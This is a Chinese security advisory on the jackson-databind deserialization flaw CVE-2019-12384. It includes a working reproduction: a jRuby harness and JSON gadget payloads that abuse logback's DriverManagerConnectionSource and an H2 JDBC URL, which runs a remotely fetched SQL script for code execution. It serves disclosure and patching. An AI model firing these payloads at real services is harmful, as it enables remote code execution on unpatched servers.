FasterXML Jackson-databind远程命令执行漏洞预警

时间:2019-10-17 13:48:14来源:信息安全服务部作者:梦之想科技

FasterXML Jackson是美国FasterXML公司的一款适用于Java的数据处理工具,而jackson-databind是其中一个具有数据绑定功能的组件。

漏洞简介


严重程度:高

CVE编号:CVE-2019-12384

影响版本:fasterxml:jackson-databind 2.0.0-2.9.9


漏洞危害


jackson-databind 2.9.9.1之前的2.x版本中存在代码问题漏洞,攻击者可利用该漏洞执行代码或造成其他危害。


漏洞详情


漏洞要求:

(1)应用程序接受由不受信任的客户端发送的JSON内容。

(2)应用程序对名称类型为java.lang.Object的属性(或少量“许可”标记接口之一,如 java.util.Serializable,java.util.Comparable)使用多态类型处理。

(3)应用程序至少有一个特定的gadget可以在Java类路径中使用。

漏洞复现:

当Jackson进行反序列化时,使用ch.qos.logback.core.db.DriverManagerConnectionSource此类来进行JDBC连接。JDBC是用于连接和执行数据库查询的Java API,它是JavaSE(Java标准版)的一部分。此外,JDBC使用自动字符串到类映射,因此它是在链中加载和执行更多“gadgets”的完美目标。

为了演示攻击,我们准备了一个包装器,我们在其中加载由攻击者指定的任意多态类。对于环境,我们使用了jRuby,这是一个运行在Java虚拟机(JVM)之上的ruby实现。通过集成在JVM之上,我们可以轻松地加载和实例化Java类。

我们将使用此设置在给定目录中轻松加载Java类,并准备Jackson环境以满足上面列出的前两个要求(1,2)。为此,我们实现了以下jRuby脚本。

require 'java'

Dir["./classpath/*.jar"].each do |f|

      require f

end

java_import 'com.fasterxml.jackson.databind.ObjectMapper'

java_import 'com.fasterxml.jackson.databind.SerializationFeature'

content = ARGV[0]

puts "Mapping"

mapper = ObjectMapper.new

mapper.enableDefaultTyping()

mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);

puts "Serializing"

obj = mapper.readValue(content, java.lang.Object.java_class)

puts "objectified"

puts "stringified: " + mapper.writeValueAsString(obj)

该脚本如下:

  • 在第2行,它加载“classpath”子目录中Java Archives(JAR)中包含的所有类。

  • 在第5行和第13行之间,它配置Jackson来满足要求(#2)。

  • 在第14行和第17行之间,它将传递给jRuby的多态Jackson对象反序列化并序列化为JSON。

需要将以下的库放在“classpath”目录下:

  • jackson-databind-2.9.8

  • jackson-annotations-2.9.8

  • jackson-core-2.9.8

  • logback-core-1.3.0-alpha4

  • h2-1.4.199

应该注意,h2库不需要执行SSRF,因为我们的经验表明大多数时候Java应用程序加载至少一个JDBC驱动程序。

JDBC驱动程序是一种类,当传入JDBC URL时,它们会自动实例化,并将完整的URL作为参数传递给它们。

使用以下命令,我们将使用上述类路径调用上一个脚本。

$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://localhost:8080/~/test\"}]"

SSRF验证:

image.png

RCE验证:

为了在应用程序的上下文中获得完整的代码执行,我们采用了加载H2 JDBC驱动程序的功能。H2是一个超快的SQL数据库,通常用于完整的SQL数据库管理系统(如Postgresql,MSSql,MySql或OracleDB)的内存替换。它很容易配置,它实际上支持许多模式,如内存,文件和远程服务器。H2具有从JDBC URL运行SQL脚本的能力,该URL是为了拥有支持init 迁移的内存数据库而添加的 。仅这一点就不允许攻击者在JVM上下文中实际执行Java代码。但是H2,因为它是在JVM中实现的,能够指定包含java代码的自定义别名。这是我们可以滥用来执行任意代码的内容。

我们创建一个inject.sql文件,并提供在本地提供一个http服务器用于下载它。可以使用python来快速搭建。

python -m SimpleHttpServer 8000

inject.sql文件内容:

image.png

执行命令:

$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"

查看exploited.txt文件:

$ cat exploited.txt

uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)


修复建议


1. 将Jackson升级到最新版本。

2.官方已经给出补丁,及时更新补丁程序。

链接:

https://github.com/FasterXML/jackson-databind/commit/c9ef4a10d6f6633cf470d6a469514b68fa2be234